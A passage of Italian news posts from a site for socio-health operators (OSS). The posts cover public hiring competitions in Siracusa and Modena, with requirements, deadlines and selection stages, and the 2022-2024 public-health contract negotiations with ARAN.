UE o Paesi terzi. Procedura di candidatura Modalità di presentazione della domanda La domanda di partecipazione deve essere presentata esclusivamente online tramite i seguenti siti web: www. servizi. asp. sr. it www. asp. sr. it/bandi di concorso/piattaforma concorsi Istruzioni per la compilazione Registrazione: Effettuare la registrazione sul portale. Compilazione della domanda: Seguire le istruzioni fornite nel bando di concorso. Documentazione richiesta: Allegare tutti i documenti necessari, come indicato nel bando. Termine ultimo per l'invio delle candidature Il termine ultimo per la presentazione delle domande è fissato al 15 luglio 2024. È fondamentale rispettare questa scadenza per evitare l'esclusione dal concorso. Fasi di selezione Prova preselettiva In caso di un numero elevato di domande, l'ASP Siracusa si riserva la facoltà di effettuare una prova preselettiva. Questa prova, che non ha valore concorsuale, consiste in una serie di domande a risposta multipla sulle materie inerenti al profilo a concorso. Prova pratica La prova pratica è finalizzata a verificare le competenze tecniche dei candidati. Il superamento di questa prova richiede una valutazione minima di 21/30. Prova orale La prova orale prevede un colloquio sui temi del concorso e la verifica delle competenze linguistiche per i candidati stranieri. Anche in questo caso, è necessario ottenere almeno 21/30 per superare la prova. Punteggio... --- > L'ASP dei Comuni Modenesi Area Nord assume 42 OSS a tempo indeterminato. Requisiti: cittadinanza UE, attestato OSS, patente B. Candidature online entro il 24/7/24. - Published: 2024-07-05 - Modified: 2024-07-05 - URL: https://ossinreparto.it/news/2024/07/05/concorso-oss-42-posti-asp-comuni-modenesi/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS L'ASP dei Comuni Modenesi Area Nord assume 42 OSS a tempo indeterminato. Requisiti: cittadinanza UE, attestato OSS, patente B. Candidature online entro il 24/7/24. L'ASP dei Comuni Modenesi Area Nord ha recentemente annunciato un'importante opportunità di lavoro nel settore socio-sanitario. La selezione pubblica prevede l'assunzione a tempo pieno e indeterminato di 42 operatori socio-sanitari (oss). Questo articolo approfondisce i dettagli del concorso, i requisiti necessari, le modalità di candidatura e le fasi della selezione. Opportunità di lavoro e requisiti L'Asp dei Comuni Modenesi Area Nord ha suddiviso i posti disponibili tra varie strutture del territorio: Asp dei Comuni Modenesi Area Nord: 25 posti, con riserva di legge per 5 posti ai sensi del comma 3, dell'articolo 1014 del decreto legislativo n. 66 del 2010. Asp Terre d’Argine: 5 posti, con riserva di legge per 1 posto secondo le previsioni del medesimo comma e articolo. ASP Terre di Castelli Giorgio Gasparini: 8 posti, con riserva di legge per 2 posti. Asp Delia Repetto: 4 posti, con riserva di legge per 1 posto. Questa distribuzione mira a coprire le esigenze delle diverse realtà locali, garantendo una copertura capillare dei servizi socio-sanitari nel territorio modenese. Requisiti generali Per partecipare alla selezione pubblica, i candidati devono soddisfare una serie di requisiti generali, tra cui: Cittadinanza italiana o di uno Stato membro dell'Unione Europea. Maggiore età. Idoneità fisica e psichica all'impiego. Godimento dei diritti civili e politici. Regolarità nell'adempimento degli obblighi di leva (per i nati entro il 1985). Assenza di condanne penali definitive o di provvedimenti che impediscano l'assunzione in una pubblica amministrazione. Requisiti specifici Oltre ai requisiti generali, i candidati devono possedere alcune qualifiche specifiche per essere ammessi alla selezione: Assolvimento dell’obbligo scolastico. Possesso dell’attestato di qualifica di operatore socio-sanitario, acquisito presso istituto professionale riconosciuto, o titolo equipollente (anche conseguito all’estero). Possesso della patente di guida categoria B in corso di validità e disponibilità alla guida. Domanda di partecipazione La procedura di candidatura è interamente telematica: Piattaforma InPa: la domanda di candidatura deve essere presentata attraverso la piattaforma telematica di reclutamento della pubblica amministrazione. Autenticazione: per accedere alla piattaforma, è necessario autenticarsi utilizzando le credenziali SPID, CIE o CNS. Compilazione Form: dopo l'accesso, i candidati devono compilare il form online inserendo i dati anagrafici, di studio e professionali richiesti. La scadenza per la presentazione delle domande è fissata alle ore 13 del 24 luglio 2024. È fondamentale rispettare questo termine per assicurarsi la partecipazione alla selezione. Fasi della selezione Prove d'Ammissione Il processo di selezione comprende due prove principali, una scritta e una orale, volte a valutare le competenze tecniche e professionali dei candidati: Prova Scritta: la data della prova scritta sarà comunicata dal 25 luglio 2024 sul portale dell'ente di riferimento. Questa prova verterà su materie specificate nel bando ufficiale, fornendo una valutazione iniziale delle conoscenze dei candidati. Prova Orale: la prova orale si terrà non prima del 22 agosto 2024. Questa fase permetterà una valutazione più approfondita delle competenze e delle attitudini dei candidati, tramite domande e discussioni su tematiche professionali. Le materie d'esame comprendono nozioni di assistenza socio-sanitaria, tecniche operative, norme igienico-sanitarie e regolamentazione del settore, tutte dettagliate nel bando. Per maggiori dettagli consulta... --- > Trattativa del CCNL 2022-2024 per la sanità pubblica: sindacati e ARAN discutono miglioramenti delle condizioni lavorative. - Published: 2024-06-13 - Modified: 2024-07-05 - URL: https://ossinreparto.it/news/2024/06/13/rinnovo-ccnl-2022-2024-sanita-sindacati/ - Categorie: Lavoro - Tag: Lavorare come OSS Trattativa del CCNL 2022-2024 per la sanità pubblica: sindacati e ARAN discutono miglioramenti delle condizioni lavorative. Nel corso del quarto incontro presso l'Aran, le sigle sindacali Uil e Cgil hanno presentato un dettagliato report sulla trattativa per il rinnovo del Contratto Collettivo Nazionale di Lavoro (CCNL, abbiamo un articolo a riguardo) 2022-2024. La discussione ha evidenziato criticità e proposte riguardanti le condizioni lavorative del personale della sanità pubblica. Cos'è l'ARAN: un'analisi dettagliata L'ARAN, acronimo di Agenzia per la Rappresentanza Negoziale delle Pubbliche Amministrazioni, è un ente pubblico italiano con un ruolo cruciale nella gestione delle relazioni sindacali nel settore pubblico. Istituita nel 1993, l'ARAN rappresenta le amministrazioni pubbliche nelle trattative collettive di lavoro e svolge un ruolo centrale nel negoziato dei contratti collettivi nazionali del pubblico impiego. Funzioni e Compiti dell'ARAN Rappresentanza negoziale: L'ARAN rappresenta le pubbliche amministrazioni nelle trattative con i sindacati dei lavoratori del settore pubblico. Questa funzione è essenziale per garantire che le amministrazioni abbiano una voce unificata e coerente nei negoziati, evitando frammentazioni che potrebbero indebolire la loro posizione. Contrattazione collettiva: Uno dei compiti principali dell'ARAN è la stipula dei contratti collettivi nazionali di lavoro per il pubblico impiego. Questi contratti stabiliscono le condizioni di lavoro, le retribuzioni, i diritti e i doveri dei dipendenti pubblici, contribuendo a regolare in modo equo e trasparente le relazioni lavorative nel settore pubblico. Assistenza e consulenza: L'ARAN offre assistenza tecnica e consulenza alle amministrazioni pubbliche su questioni relative alla contrattazione collettiva e alle relazioni sindacali. Questo supporto è fondamentale per aiutare le amministrazioni a navigare tra le complessità delle normative lavorative e contrattuali. Monitoraggio e analisi: L'ARAN svolge attività di monitoraggio e analisi dei dati relativi ai contratti collettivi e alle dinamiche del lavoro pubblico. Queste attività permettono di avere una visione chiara e aggiornata delle tendenze e delle problematiche nel settore pubblico, facilitando decisioni informate e strategie efficaci. Importanza dell'ARAN nel Sistema Pubblico Italiano L'ARAN è un elemento chiave nel sistema delle relazioni sindacali italiane, in quanto assicura che i processi di negoziazione siano gestiti in modo professionale e coordinato. Questo non solo garantisce che i diritti dei lavoratori siano tutelati, ma anche che le esigenze delle amministrazioni pubbliche siano adeguatamente rappresentate. Inoltre, l'ARAN contribuisce a mantenere un equilibrio tra le esigenze dei lavoratori e quelle delle amministrazioni, promuovendo un ambiente lavorativo più armonioso e produttivo. Le sue attività di monitoraggio e analisi forniscono dati preziosi per il miglioramento continuo delle condizioni di lavoro e delle politiche occupazionali nel settore pubblico. Il contesto del quarto incontro all’Aran Insufficienza delle risorse Le risorse allocate per il rinnovo del contratto sono state giudicate insufficienti dai sindacati per rispondere adeguatamente alle aspettative dei lavoratori della sanità. Questo punto è stato sottolineato con forza durante l'incontro, evidenziando la necessità di maggiori investimenti per garantire condizioni lavorative dignitose. Risorse attuali inadeguate Necessità di ulteriori investimenti Impatto sulle aspettative dei lavoratori Criticità sull'orario di lavoro Uno dei principali ostacoli emersi riguarda l'impostazione dell'orario di lavoro "convenzionale". Questo modello ha generato numerose problematiche, tra cui il debito orario e la perdita di risorse economiche, rendendo urgente una revisione delle normative attuali.... --- ---